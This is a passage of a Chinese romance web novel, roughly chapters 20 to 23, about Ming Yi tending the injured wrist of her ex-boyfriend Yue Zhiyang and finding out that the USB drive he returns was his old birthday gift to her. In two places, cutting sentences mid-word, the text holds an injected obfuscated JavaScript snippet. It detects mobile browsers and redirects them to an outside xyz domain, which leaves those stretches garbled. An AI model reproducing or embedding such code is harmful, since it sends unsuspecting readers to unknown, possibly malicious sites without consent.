被她突然拦住脚步,越之扬也没再吭声,只用那双被雨水打湿的乌黑眼眸一瞬不瞬望过来,眼神似是有些沉郁。 猝不及防对上视线,明翊心头不自觉重重一跳。 那种微妙的心虚感又来了。 雨势太大,豆大的雨点打湿二人发丝,她看到有清晰的水线顺着越之扬的下颌往下淌,转眼就渗进领口。 不想再傻站着淋雨,明翊很快扯过这人手臂往单元楼方向走。 刚踏出没两步,她的手又被人给反握住。明翊愣了下,到底是没挣开。 身侧光影倏地暗下去,是越之扬撑开了伞。 黑色的伞圈在二人头顶,像个巨大的保护罩。 周遭是铺天盖地的雨声,雨点无情在伞面跳跃,所有的声音都像是隔着道沉重幕布,伞下的世界却仿若有回音般清晰。 这瞬间,明翊终于听见越之扬的声音。 “他是谁?” 在这嘈杂的雨幕里,掷地有声。 她一时竟不知如何回应。 * 到家门口。 本就心烦意乱,一团乱麻的情绪始终没理出个头绪。 远处停的车也不知发什么疯,还特意冲这边鸣笛,明翊不知道是不是林苗苗她表哥。但为免事情变得更麻烦,只好先拉越之扬上楼。 虽然她自觉对方似乎是完全没必要为自己吃醋,但越之扬这状态明显不对。 明翊脑子快乱成个浆糊。 完全捋不清头绪,这是在干什么,这到底是在干什么? 好怪。 忍不住又朝对面看了两眼。 因为淋了雨,越之扬的衣服几乎整个湿透,黑发凌乱散落至额前,眼里也没半点情绪,冷冽至极。 气氛一下子古怪到了极点。 明翊完全不知道该说什么,还沉浸在天人交战的自我拉扯中。 不能吧? 她现在这想法会不会有点太自作多情了。 就在这时,对面忽然开口:“刚刚那人,是不是姓王?” 越之扬收起伞,冷淡的视线随之扫来。 明翊没懂他为什么要这么问,但既然是表哥的话…… 她很快抬眼看过去,如实回答:“这个应该姓林。” “……” 这个? 所以是还有别的。 越之扬眉心抽搐两下,险些气笑了。 对面始终没再说话。 明翊又回想起刚才鸣笛的车辆,加之越之扬这突然询问对方姓名的举动,立刻明白了。 “所以你是刚叫了网约车准备走?” “……” 虽说这想法貌似也有些离谱,但至少没刚才那个吓人。 按照这思路往下捋,那自己这不顾他人意愿强行把人拉上楼的行为也是有够难评的,像个故意蹭伞挡雨的恶霸。 想到这,明翊也不是很敢继续耽误他。 “那你快下楼吧,现在应该还来得及,别让人王师傅等急了。” “……” 越之扬现在是真对她无语了。 跟个木头似的完全搞不清楚状况,淋了雨也没见多开窍,脑子里的水反而更多了。 心里本就窝着火,说出口的话语气自然不怎么好,他冷眼看过去,几乎是在讽刺:“怎么,耽误你好事了?” 明翊微微睁大眼,没太明白他这话又从何说起。 但越之扬似乎也没有要解释的想法,就这么垂眸无声盯着她看。 对上这眼神,明翊忍不住又泛起嘀咕。 什么情况? 难不成还真是捉奸? 没这必要吧。 大家八竿子串不到一起的关系。 再一次默默将自己的念头打消,虽然觉得没什么必要,明翊还是难得隐晦地解释两句:“…刚刚那位林师傅,也是开网约车的。” 越之扬没有说话,表情却有细微的松动。这变故立刻被明翊捕捉到。 她的大脑几乎转出了火星子。 到底什么情况? 能不能给点提示啊! 这人难不成是想…… 脚踏两条船?! “…真是出租车师傅?” 越之扬又在这时开口,声音莫名沙哑,还带着些说不清道不明的情绪。 像是试探、却又近似质问。 明翊几乎是瞬间确定了。 再一联想他有意隐瞒孙卓然的行为,完全不知道该怎么处理,只想赶快把这人送走。 她近似敷衍地点头,又火速冲对面摆手:“既然你叫了车,那就快别耽误了,赶紧去追车吧,现在应该还来得及。” 越之扬的表情刚松动一瞬,转眼又僵住,甚至比先前还要更加阴沉。 “你这什么意思,赶人?” 他沉声问。 明翊没太敢搭腔,出于心虚,又缓缓移开视线。 因着这熟悉还带些排斥的举动,越之扬的火气几乎是瞬间上涌。 夹杂着无法言说的酸涩,几乎难以自控,他直接上手去碰明翊的脸,想强迫那双眼睛能有一时半刻会定在自己身上。 明翊本还困惑着,下颚忽地被人箍住,随后视线里出现的那双沉冷眼眸让她的大脑一瞬间宕机。 “你就没什么想解释的吗?” 天呐大哥! 能不能找准自己的定位,前男友就别管这么多! 知道这话说出来必然又是一场架,明翊识趣地没往外说,又稍稍思考了下,还是决定执行先前的策略:“耽误你赶车是我不对,实在不行,我把车钱赔你?” 越之扬:“……” 越之扬快被她气死,也不想再废话了。 “刚刚那人到底是谁?” 他又上前两步,几乎是俯身盯着她看。 这瞬间,他发梢缀着的雨珠忽地向下落,就砸在明翊鼻尖。 气氛有点离奇的暧昧,明翊一个激灵,也意识到这距离好像是有点过近了。 她没懂越之扬为什么执着于这个问题,怪不安好心的。而且这态度差得可以,她又没欠他什么! 此刻也没了再应付的耐心:“说了你又不信,那你问我做什么!” 实在嫌烦,又抗拒和别人肢体接触,明翊几乎是下意识挥开他的手。 下一刻,头顶清晰落下道闷哼。 与此同时,越之扬捂着手腕缓缓垂眼,顺着他的视线,明翊正好看清这人手腕缠绕的绷带正往外渗着丝丝血迹。 “……” 完了,怎么还给人打坏了。 随便吵吵倒也没什么,毕竟他这行为完全不占理。 但冷战上升到热战,这就有些说法了,明翊从没想过自己也会有‘打赢’越之扬的一天。 而且这还是之前因为她而受的伤。 想到这,明翊抿了下唇,想去看他的手,却又犹豫着不好上前。 思来想去,最终还是决定先滑跪道歉,“抱歉啊,我不是故意。刚刚那人真是网约车司机。” “但你这手,没事吧?”她讷讷问,“需不需要去医院看看?正好楼下还有车……” 提起车越之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765364|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬就来气,他立刻抽回手,语气很冷:“不需要,我刚没叫车,现在也不打算去医院。” 明翊还有些纳闷:“那你今天是过来……?” “不是跟你发微信说我今晚来取快递,没想起我,”越之扬冷笑,“光顾着和出租车师傅热聊是吧?” 明翊没觉得自己刚才那算是热聊。 但现在倒是真有点儿微妙的火药味了,怪激烈的。 面对越之扬,她总会产生某种类似于捧着个烫手山芋完全不知道怎么下手的无措感。 就比如现在。 纠结一番,明翊还是主动开口:“快递我马上拿给你。但你这手,我家正好有药箱,要不我先帮你处理一下?” 毕竟是她动手在先。 好在这次对面没再拒绝。 回到房间,明翊思绪还是很乱,感觉今天这状况明显不对。 二人都已经分手,就算是从别人车上下来,她也觉得自己没什么好向越之扬解释的;而对面也如他所说地‘步入人生新篇章’,真要吃醋似乎也轮不到他。 可刚才那情形,总忍不住让人多想。 在此之前,明翊几乎从没见过越之扬这幅意志消沉的模样。 在她面前的越之扬总是骄傲又狂妄,哪怕是当初分手也没见他有多失落,生气的反应快盖过伤心。 所以那时她也不知该怎么处理。 因为害怕冲突而下意识口不择言。 但旁观这人一切有迹可循的行为,套用句俗气的话:能伤害越之扬的人大抵是还没出生,所以此刻,明翊觉得自己也没必要上赶着对号入座。 这未免太自作多情了。 等了大概有半小时,越之扬才发消息让她过去。 稍微收拾了下,明翊就提着药箱敲开了对面的门。 越之扬似是已经洗过澡,换了套干净衣服,此刻正半倚门框抱臂看来,半湿的头发传来些淡淡香气。 场面定格三秒。 这气氛很有些尴尬。 明翊是边界感颇强的性格,目前虽然有正当理由,却还是觉得不太自在。 而且对面照旧一副面无表情的冷脸。 加之这有些熟悉的距离与姿势,几乎是一瞬间将她拉回重逢当天的尴尬境遇。 顿半晌,明翊才抬眼,试图征询对方意见:“请问你现在,还方便吗?” 闻言,越之扬冷冷嗤一声:“我倒是还想问你呢。” “……” 他这态度,总莫名将那些不太好往深处想的暗示再度加强。 明翊不明白越之扬这是打算干什么,但这阴阳怪气的讲话方式外加近似质问的眼神,总让她有种陷入人生三大错觉的嫌疑。 但此刻似乎不好直面这个问题,挑破的话只会让彼此更尴尬。 明翊只好把话题带过去,也没应下这话,上下扫视他后又拧眉道:“你洗过澡了?刚不是跟你说伤口不要再沾水……” 因为距离很近,鼻端还能嗅到越之扬身上沐浴露的淡香。 似乎是清凉的薄荷味道混合着浅淡的尤加利叶香气。 越之扬估计是因为负伤也无心理她,只收回眼转身往里走。 顿几秒,明翊才跟上。 她原是不打算进对门,但把人邀请进自己的私人空间似乎更加不妥。 也不是没想过就站在楼道,可看他这幅得理不饶人的嚣张姿态,敢这么提,等待自己的大概就是越师傅无证行医的病例通知单。 说起来,这还是分手后二人头一回同处一室。 明翊先是站在门口,谨慎往里扫了眼。 房屋构造和自己那间大致相同,因为越之扬平时也不住这儿,几乎没多少东西,生活气息很淡,也没出现些属于女生的私人物品。 刚松口气,视线下落的瞬间。 却又忽然看到,门口的鞋柜旁正放着双毛绒拖鞋。 淡粉、兔绒,还带双可爱的小兔耳朵。 在这单调得几乎可以直接拿去当样板间的公寓里,简直格格不入。 明翊当即倒吸口凉气。 好家伙。 演都不演了。 21. 21 一时间,明翊进退两难。 上次意外得知越之扬的感情状况,还是在半月前,他特意点她出场的那则朋友圈。 如今望着这双明显属于女孩子的拖鞋,明翊几乎是瞬间确定,这应该是他女朋友的,也立即将所有自作多情的想法通通扼杀在摇篮。 几乎是下意识想扭头走人,打算维持住应有的边界。 但帮越之扬上药这事是自己提的,刚才又无意间‘出手伤人’,如今似乎也只能借这么个机会把事情了结,再和他撇清关系。 纠结再三,明翊还是进了门。 越之扬已自行走到沙发旁坐下,没有任何招呼一下的想法。 客厅的陈设很是简单,除了自带的挂壁电视和沙发外再无其他物品,只有窗下搁着个淡奶黄的猫窝,墙壁拐角处还放着个简易跑道和猫爬架,所有的窗户也全被封死。 倒是个实实在在的‘猫屋’。 明翊四处看了看,没瞧见那猫的踪影,忍不住问:“你家猫呢?” “你是过来帮我换药,还是看猫?” 这语气太不友善。 明翊暗暗叹口气,说服自己不要和生气的狗计较。 像是没听到般,她直接走到沙发旁坐下,又打开药箱,忍气吞声朝对面示意:“手,我看看。” 因为学过些简单的护理知识,明翊对自己的手法还挺有信心。 越之扬却半晌未动。 他沉默坐在沙发另一侧,视线上下扫视,最终定在明翊干净的鞋面,眉头很轻地皱了下。 连双鞋都不肯换,到底是有多想跟他划清界限? 没得到回应,担心对面这是信不过她,明翊只好垂着眼又催了一遍:“我技术很好的,你可以放心。” 越之扬:“……” 这次,越之扬终于不情不愿把手伸了过来,明翊也立刻认真起来。 因为这伤看起来实在没办法让人放松。 距受伤那天已经过了快一周,按理说就算伤口没愈合应该也差不多结痂,不会有这么严重。 但或许方才碰了水,此刻绷带边缘晕开的血迹几乎可以称得上一句触目惊心。 明翊也再没别的精力分神,小心翼翼托着他的手解开绷带。 伤口袒露的瞬间,呼吸几乎是瞬间窒住。 眼皮不受控般跳了跳。 明翊不自觉张开唇,声音却又像是忽然间被全数堵回喉咙。 这伤落在小臂外侧,接近手腕位置。 很长一道,快有四五公分,也不知是不是因为刚才又不慎被她打到,惨烈得有些吓人。 切口整齐,边缘处又明显外翻。 因为工作需要,这段时间时常描写打斗场景,明翊几乎是瞬间反应过来,这是锐器划伤。 “那天有人对你动刀了?” “……” 越之扬眼皮动了动。 沉默良久,他才接话:“也没那么严重……” “那是什么?” 明翊立刻抬眼看过去。 这瞬间,胸口就像是被塞了块湿抹布般透不过气。 尽管想极力控制,她的声音还是止不住发颤。 触及到对面微红的双眼,越之扬竟不自觉愣了下。 忽然就不知道该说什么,默了须臾,才强行止住安慰她的冲动:“就普通的戒指,看上去像是你们女孩子用来防身的东西。一个大老爷们耍这种阴招,也不嫌丢人。” 明翊没再说话,只愣愣捧着他的手。 她这反应,忽然就有点让人不忍心和她继续吵下去了。 越之扬几乎是出于本能地低睫看过去,尝试缓和气氛:“不过我看似乎是还挺好用的,要不也给你准备一个?” “下次要是再被人关进小黑屋,你直接冲上去和他们真人solo就是了。” 这人语气闲散,还有闲心打趣,十足十的勇敢无畏。 明翊糟糕的情绪却并没有因他这话缓解多少,又记起这段时间自己近乎于恶劣的所作所为。 此刻,极为强烈的懊悔和负罪感将她包裹。 感觉哪里都像是透不过气。 “穿衣服,”她很快将药箱合上,面无表情起身,“我们打车去趟医院。” 越之扬起初还觉得有些好笑。 “干嘛这幅表情?” 对面的声音却又冷又沉:“你这伤得太严重了,我处理不了。” 越之扬的笑容瞬间僵硬。 他冷冷嗤一声。 “行,你处理不了,那就把我一个人撂这儿死了得了。” 明翊被噎了下。 垂眼看去,越之扬正漫不经心将散落的绷带往自己手腕缠,动作粗暴又敷衍,明显是在压着火。 明翊有点懊恼,也知道自己这是触了霉头。 但没人教过她该怎么处理自己的情绪。同样的,也不太擅长应对别人的情绪,在很多时候都给不出合适的反馈。 就像一口干涸的井,因为常年枯竭,等到用时,自然打不出水。 此时此刻,明翊忽然后知后觉地意识到,那两年里为什么总在和越之扬吵架了。 两个同样又冷又硬、学不会低头的人,相安无事就已是难得,怎么可能好好走下去? 想到这,情绪不禁有些烦闷。 但事情是自己惹出来的,没道理撒手不管,抛下他一次也就够了。 明翊只好尝试放软声音耐心解释:“不是不管你的意思,但我觉得还是去医院找专业人士处理一下比较好。” 越之扬火气应该是还没消:“你不是技术挺好?” “…也不是特别好。” 明翊有点尴尬。 越之扬完全不接这茬。 “懒得动。”他冷冷瞥一眼,又朝门口方向轻抬下巴示意,“既然不想管,那您就请回吧。” 此刻外头雨势更大,隔着玻璃都能听到窗外的狂风骤雨。 明翊也觉得目前这状况一时半会儿肯定是打不到车,越之扬又这副态度,也只得妥协:“那我先帮你简单处理一下,你明天一定记得要去趟医院。” 二人又在沙发边坐下。 越之扬手臂虚虚架在半空,这个姿势完全不好上药,明翊抿着唇,下意识想把他的手拉至膝头。 刚拉到一半,忽然意识到不妥。 抬眸的瞬间,又对上对面直直看来的目光。 或许是错觉,但明翊总感觉越之扬的眼神似乎是莫名有点暗,还带着那么点说不清道不明的意味。 空气静滞一瞬。 她因为尴尬几乎是下意识撤回手。 三秒后,听见对面那道吃痛的闷哼,明翊感觉整个人都不太好了。 越之扬语气幽幽:“你真想我死,是吧?” 明翊不自在地抿唇:“…目前也还没这想法。” 手忙脚乱将人安抚好,又取过一旁的抱枕垫在手臂下方,明翊才开始帮越之扬处理伤口。 整个过程,对面什么也没说,除了眉头皱得很紧外再无其他反应。 这情形反而加重了明翊的负罪感,因为知道越之扬不是这么好脾气的性格。 总算逮住机会怎么可能不狠狠讽刺她一番找回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765365|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场子? 如今这模样,明显是疼得后槽牙都快咬碎了。 所以她也再说不出多绝情的话,帮他缠好绷带后又温声嘱咐:“今晚天气不太好,你不想去的话那就算了。但明天可千万别犯懒,一定要记得去趟医院,看医生那边是怎么说的。” 越之扬点点头。 朝对面看几眼,明翊又垂下脑袋,声音因为愧疚压得极低:“对不起啊,我那天不知道你伤得那么严重,所以没及时带你去医院……” “你道什么歉,又不是你动手打的人。” 或许是记着上药的恩情,他这话说得很是宽宏大量。 明翊却没觉得有多放松,反而,更加愧疚了。 总觉得似乎是该做出点补偿。 想了想,她又侧身看过去:“你放心,后续的治疗费用我都会出的,不管花多少钱,你直接找我报就行了。” 明翊知道越之扬不是很爱和她扯上金钱关系,也总懒得多占她便宜。 从前二人每回AA,这人也总是臭着张脸,像是在维护那莫名其妙的男性自尊。 所以明翊本以为这回大概还是要习惯性被对面嘲讽一番才能达成目的。 却不知为何,越之扬神情若有所思,似是忽然想到什么。 “所以你这是,”他顿了片刻,又语气闲闲道,“——还没对我死心,又想继续负责?” 明翊无语凝噎。 感觉前不久似乎是给自己挖了个大坑出来,也不知越之扬究竟还要拿这茬开涮多久。 明明已经紧急避险,事先错开那两个字,这人还能想方设法地往回绕。 刚准备开口解释,卧室的门忽然一动。 联想起玄关处那双粉嘟嘟的毛绒拖鞋,明翊直觉不妙,正疑心越之扬家里是不是还有人在,下一刻,有什么东西从卧室蹿了出来。 是那只眼熟的猫。 猫猫像是道白色的小旋风一样直直往外冲,而后又扑到茶几上半开的药箱。 明翊面对小动物时态度会不自觉软下来,被这么打扰也只是将药箱合上。 又温和警告:“这个不能乱扑。” 小猫低低嗷了声,似是因为没找到新玩具有些灰心丧气。 刚把它拨到一边,明翊就见这猫又对准了越之扬方向,像是打算跳进他怀里。 生怕它一时没掌握好力度伤到他刚包扎好的伤口,明翊又急忙上前侧身将人挡住。 “这个也不能。” 越之扬动作微微一顿,视线无声上移,盯着面前人细白的后颈。 感觉今晚的火气好像是莫名其妙消了点儿。 于是明翊转过身打算跟他认真解释时,看到的就是这么一副场景。 这人唇角懒懒散散扯着,眼里隐约带点笑意,神色莫名餍足,近似于某种目的达成后的志得意满。 一时还没太明白,又想起他刚才说过的「负责」,明翊几乎是瞬间反应过来。 哈。 嘲讽成功就这么开心吗? 她扯了扯唇,出于‘社交礼仪’,也不想让这狗太嚣张。 “你的手我一定会负责到底的,但别的——” 明翊微微颔首,很是诚心地为他出谋划策,“既然你这么想找人负责,最好还是去上个保险,那边毕竟是专业人士,应该比我靠谱。” 越之扬眉心一抽。 这时,旁观的猫猫似乎是打算再度扑上前。 明翊又转过身,装模做样地叹口气:“消停点儿吧,万一你把人挠伤,他不分青红皂白地找你负责——” “可怎么办?” 22. 22 经此一役,战果显著。 看对面黑着脸把她轰出去那架势,明翊感觉至少未来半个月越之扬不会再有闲心提起这茬。 从某种程度上来说,她不算多好脾气的人,还特别擅长阴阳怪气。 但周围碰到的人要么是上级,要么特别消停,也轮不到她展现这种攻击性。 林苗苗又发了微信过来。 林苗苗:【你怎么说话的】 林苗苗:【什么叫年纪不轻?】 明翊面无表情捧着手机。 视线再往下扫,这人不知为何忽然换了副口气。 林苗苗:【小翊你也别生气啊】 林苗苗:【吃饭这事是我忘了跟你说,不是我表哥有意瞒你。前几天他就说要请你吃饭,是我担心你不乐意,才叫他瞒着你】 林苗苗:【你是有男朋友了么?我哥说他看到楼下有人在等你,以前没听你提过啊/疑问】 看到最后那条,明翊很有些无语。 她不知道林苗苗今天到底是个什么图谋,但总归是侵犯到了自己的边界。 把人往好处想顶多是她太热衷于保媒拉纤,要是再恶劣一点,那有待解释的事情可就多了。 实在是烦透了这种被当棵菜一样送到陌生男人盘子里的行为。 今晚的一切都超出了明翊的忍耐度,让她觉得既恶心又反感。 此刻大脑像个放映机般,无数画面不受控地在脑海飞驰而过,一点一点将明翊的思绪搅乱。 又渐渐拼合。 场景最终定格在楼下,越之扬看她的那一眼。 无论如何,在楼下看到越之扬的瞬间,始终慌乱的心跳总归是有片刻安定的错觉。 尽管他其实什么也没做,仅仅只是出现。 或许是因为见到熟悉且信任的人,那一刻,明翊离奇地感到平静,觉得自己也没那么无助。 因为林苗苗打来电话试探,所以那男人并没有听从明翊的想法停车。 也许觉得她在无理取闹,又或是真的势在必得,车辆没有减速,照旧一路朝市区方向开。 明翊不敢轻举妄动,生怕自己上了社会新闻,报警电话都快按出去了。 好在,最后什么都没有发生。 …… 一回想起这些事,还算平和的心态就有些不稳,情绪也莫名烦闷。 明翊这才想起,越之扬的快递还搁在自家玄关的置物柜上,始终没有转交。 她只好拿着快递又去敲门。 隔着扇防盗门,越之扬的语气很冲:“有屁快放。” 明翊被噎了下,“你的快递,还在我这儿。” 越之扬:“放完了?” 明翊:“…嗯。” 因为刚才毫不留情的嘲讽,这人似乎也再懒得搭理她,只冷声道:“本来就是寄给你的,自己拿回去拆了,以后少给别人添麻烦。” 说完,对门的脚步声就渐远。 明翊短暂怔了下,因为先前那句‘贵重物品’,心里还有些诧异。 但对面都这么说了,她也只好回家拆箱。 玄关处的吊灯通透而明亮,所以在彻底拿出那东西的瞬间,明翊无比清晰地看到—— 这是先前被她弄丢的U盘。 因为正好背面朝上,那U盘外壳上小小的贝斯图案恰巧落入眼底。 底下还附着串凌乱而张扬的字母:Yue. 金属做的小链圈松松垂落掌心,触手冰凉。 一开始在楼下和越之扬不期而遇的懵懂与错愕似乎也在此刻拨云见雾: 原来他是代表LiveHouse好心过来送‘失物’的。 不得不说,习惯真是个可怕的事物。 大概是早已适应,以往用的时候从没怎么在意过,如今明翊才想起,这其实并不是她的东西。 这是越之扬送她的生日礼物。 21岁生日。 作为一个生日礼物来说,这或许显得太不走心。 但对明翊来说,已然足够。 她其实并不怎么喜欢过生日,甚至讨厌,也不会给这一天赋予多值得期待的感情色彩。 每每别人问起,也只随口报出个日期,有时甚至还反过来暗示对方不要为她庆祝。 幸好,像是同样对这些莫名其妙的仪式感无甚兴趣,越之扬当时也没怎么大张旗鼓地准备。 生日前夕,二人在图书馆自习,克制地隔着好几个座位。 越之扬发来信息:【你生日快到了】 明翊:【哦】 越之扬:【哦什么哦,问你想要什么礼物】 关于自己的生日,明翊也不清楚越之扬是从哪里得知,自己明明没告诉过他。 但既然对方已经知道,甚至还知晓准确日期,也不好再扭捏,那样显得太矫情。 但也不是很想庆祝。 扫了眼桌面的电脑,她不怎么走心地随口敷衍:【就U盘吧】 越之扬:【……】 越之扬:【你能不能,认、真、点】 明翊纳闷。 明翊:【我哪里不认真了?】 明翊:【U盘多实用。我们学文的不得天天和U盘面对面,见它比见老师还勤快】 明翊:【而且,我U盘上个月报废了……】 越之扬:【…原来在这等着呢】 越之扬:【行,你再想个别的】 她抬起眼,视线越过前方三三两两的路人,定在越之扬身上。 青年没个正形一样瘫在图书馆的座位上,和周遭浓厚的学习氛围完全不搭。摊开在桌面的笔记本来的时候什么样现在就还是什么样,几个小时不见得翻一页,就差在图书馆直接给他支张床了。 他看上去一点儿不喜欢这里。 也并不适合。 她收回眼,又拿起手机。 明翊:【真没了】 明翊:【想送的话,麻烦再送我一份清净,忙着复习呢^^】 越之扬:【……】 越之扬:【/赞】 越之扬:【你行】 那头已经收拾好东西,将带过来的书一股脑塞进背包。 临走前,越之扬没好气地朝她的方向看了一眼,拎着包的背影里隐约透着些许不爽。 像是故意找存在感,他特意兜了一大圈,绕到明翊的座位旁。 随后在桌面重重拍下一张纸,扭头就走。 这动静打扰到了邻座正在自习的陌生女生,明翊没顾得上管越之扬,只微蹙着眉冲那女生小声道歉。 “这人有病吧?” “不好意思啊,他应该没病,大概是找我约架。” “……” 等到事情解决,明翊才看回越之扬先前留下的字条。 洁白的纸面上,画着个—— 猪猪侠。 “……” 这人也真是够无聊的。 明翊拿起手机。 【哦】 【小猪拜拜】 越之扬:【?】 越之扬:【你翻个面】 闻言,明翊又看回这幅画技拙劣的大作。 胖乎乎的小猪懒洋洋地趴在草丛里摇头晃脑,身子快瘫成张大饼,鼻梁上还架着副眼镜,正埋头认真看书。 在讽刺谁,不言而喻。 因为天气太热,鼻梁上的镜框有下滑的趋势。 明翊赌着气没去管那眼镜,只抿唇投去视线,越之扬就站在不远处,晃了晃手里握着的手机。 表情恣意,笑容嚣张。 …… 时间被无限制地拉长。 一瞬间似乎又回到了当年二人错身而过的瞬间。 青年张扬肆意的笑脸莫名就与此刻他垂眸看向她的冷淡眼神重合,潮热的炎夏无声退却,凛冽的寒风扑面而来。 越之扬的青涩与张扬似乎也被时间一并带走。 与此同时,耳边又响起他冰冷的声音。 ——少给别人添麻烦。 明翊叹了口气,觉得心口莫名有些堵。 但也庆幸那边只是让她回家拆箱,没有紧抓着不放,问些有的没的。 万一越之扬真的问出‘都分手了为什么还要保留他送的礼物,是不是对他念念不忘’,再逼迫自己给出个解释,那明翊真是以死明志的心都有了。 工作太忙、记性太差、烦心事太多。 任何一点都足以将由情绪而产生的悸动通通抹平,生活就是这样。 尽管自己这边看得很开,但在看到那U盘的瞬间,明翊还是 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“我也想啊,这不是法治社会嘛。” 钟以晴还是气不过:“怎么还有这种人啊我天,你这上司可太不靠谱了,脑子被狗啃过是吧!” 明翊刚打算赞同,就又听对面说:“比你那前男友还傻缺!” “……” 她不由默了默。 这突如其来的心虚感是怎么回事? * 挂断电话,明翊想解释的心已散了大半。 看先前越之扬的反应,像是也没多在意,而自己如今再不知好歹地凑上去提这种事,莫名有种打算撬墙角的错觉。 还挺怪的。 想到这,明翊又很快作罢。 洗完澡,她就直接爬上了床。 因为淋了雨,身体又本来就不太舒服,这一觉睡得恍惚而不安。大脑仿佛不受控般钝痛,梦境一点点挤占睡意,直到整个脑海都是光怪陆离的画面。 半梦半醒间,临窗传来几声清脆的啪嗒声,雨水应声而落,越下越大。 梦境忽然就随着潮湿的雨滴一同降落。 明翊21岁生日当天,也是个雨天。 越之扬送她礼物前,非要故作神秘地让她猜,明翊心想这有什么好猜的。 就连参考答案还是从她这儿给出去的,真的大可不必。 但越之扬的兴致似乎很高,于是她只好顺这人的意,随口猜了几个。 自然是不走心地漫天胡诌。 越之扬似是感到无语,语调轻快地吐槽她,“我说你是失忆了还是怎么了,不是你自己说的想要U盘,现在又改主意了?” “行,但既然你想要这些,正好我通通都能满足。” “下次你生日,就按照你刚才报的清单,都给你准备一份儿!” 说完,他又正色看她。 “但刚才,我让你猜的是礼物的外包装。”越之扬掐着她的脸轻轻扯了下,低声咕哝,“真是笨死了你。” 这人总是这样。 就算对她好的时候,也不肯好声好气说话,总要变着法儿似的损她。 明翊善解人意地不想跟狗计较,只是猜礼物外包装什么的,这似乎就更没必要了。 她在心里默默吐槽,本不报什么期待。 却还是在那东西坠落到掌心的时候,忍不住睁大了眼。 越之扬笑得张扬又恣意。 “你说你天天和U盘面对面,既然你见它见得这么勤快,也希望女朋友发发善心——” “能常和我见面。” 那时的他们不常见面,因为地下恋情的缘故,明翊又总是很忙,最常见的相处方式就是二人在图书馆各自看各自的书,中间隔着数不清的人。 明翊本不觉得有什么,但那一刻,她突然感到愧疚。 于是在心里默默应下:好。 她会想办法,满足这个不知道到底该归属于那方的生日愿望。 但或许是一直以来运气都不算好,也不常过生日,因此明翊的生日愿望总是不灵验。 也没能。 常和越之扬见面。 23. 23 明翊觉得最近梦到越之扬的次数委实是多了些。 这不太妙。 至于为什么不妙,她又说不太清。 搜索引擎上显示:如果你频繁梦到一个人,那就说明这个人在渐渐遗忘你。 但事实似乎恰恰相反。 且不说越之扬到底能不能遗忘她,单就这个物理距离越隔越近的情况,事情就愈发显得不受控起来。 明翊不觉得在二人就隔一扇门的情况下,越之扬还能对她视若无睹。 真有遗忘的情况,也只能是这人出门路遇意外不幸失忆。 而她这边,也因为频繁记起过去的事情,再没办法做到之前那般心如止水。 有些人就是这样,当你想要远离他时必须通过不断回忆他的坏才能将人彻底埋葬在记忆深处。 可一旦出现,记起的反而都是他的好。 以及他家猫。 这感觉很像是—— 你在凝视深渊,结果深渊二话不说搬到了你家隔壁。 明翊揉着眉心缓慢睁开眼,一边强行放空思绪一边忍不住吐槽自己。 老成天这么惦记别人男朋友似乎也不是个事儿啊。 虽说她本人完全没有另外的心思,但这段时间频繁梦到越之扬,这事怎么看怎么匪夷所思,以至于每次醒来都战战兢兢,感觉自己在接受良心与道德的双重拷打。 摸出手机看了眼。 时间接近中午十二点,因为是假期,明翊也不急着起床,在床上又躺了一会儿。 记起昨晚说让越之扬去趟医院的事,又给他发了条消息嘱咐。 对面迟迟没回复。 本想着去敲门提醒,但因为这份微妙的尴尬,最终明翊什么也没做。 新年第一天,公寓楼里没多少人,朋友圈倒是热闹。 她点好外卖后就开始抱着手机刷朋友圈,发觉不少人都在昨夜发过动态。明翊挑了关系相对较好的几位点赞,很快便放下手机。 吃过饭又去收拾昨晚的残局,将林苗苗给的那份纸质资料从冰箱冷冻层取出,水泡得太严重,只能暂且这么处理,甩掉上头附着的冰碴,又找出吹风机吹了个半干,明翊顺手翻着看了两眼。 大部分纸页都恢复得很好,相对平整。唯有几张实在是湿得太厉害,经过这么一通操作依然无法复原,皱皱巴巴。 好在上头的字都能看清。 担心林苗苗那边又作妖,明翊只好扫描了文件,花时间将这几页做成电子稿,又去公寓一层的自助打印机那边打印出来。 这么一番折腾,时间已经接近两点。 窗外阳光正好,经过昨夜一番风雨洗礼,此刻的天空澄澈又明净,远处的天际线直直收敛进海岸。 天气好,心情似乎也跟着放松。 明翊又拿起手机,开始给郑惠兰拨电话。 没响几声通话就被接起,对面温柔的女声让她不自觉弯唇:“喂,是笑笑吗?” 明翊忙应声,飞快喊了声妈。 母女两人一通叙话,大约持续了二十多分钟。 这两年里,明翊算是和母亲郑惠兰相依为命。 郑惠兰是个很温柔的人,不光说话时嗓音柔婉舒缓,就连性子也十分温顺。 明翊的长相和性格里温和的表象多是随了她。 打完电话,又汇了笔款过去。 整个下午,明翊都在翻看林苗苗给的那份资料。 有关个人私事的不愉快明翊可以淡然地抛之脑后,因为再怎么折腾,只要警惕些,总归影响不到自己的死活。 但在工作方面给她挖坑,她是真有些受不了。 林苗苗给那份文件时信誓旦旦说是内部资料,很有参考价值。 但明翊翻过几页就发现里头多数内容自己早就在公司下发的内部文件里看到过,随便哪个网站都能轻易搜到。 其中还有不少内容和专业知识相悖,也不知是故意还是这资料本就如此。 又不自觉想起昨晚的事,她是真搞不懂这姐到底想干啥了。 没什么参考价值,明翊只好将资料封好重新装进牛皮纸袋封存。 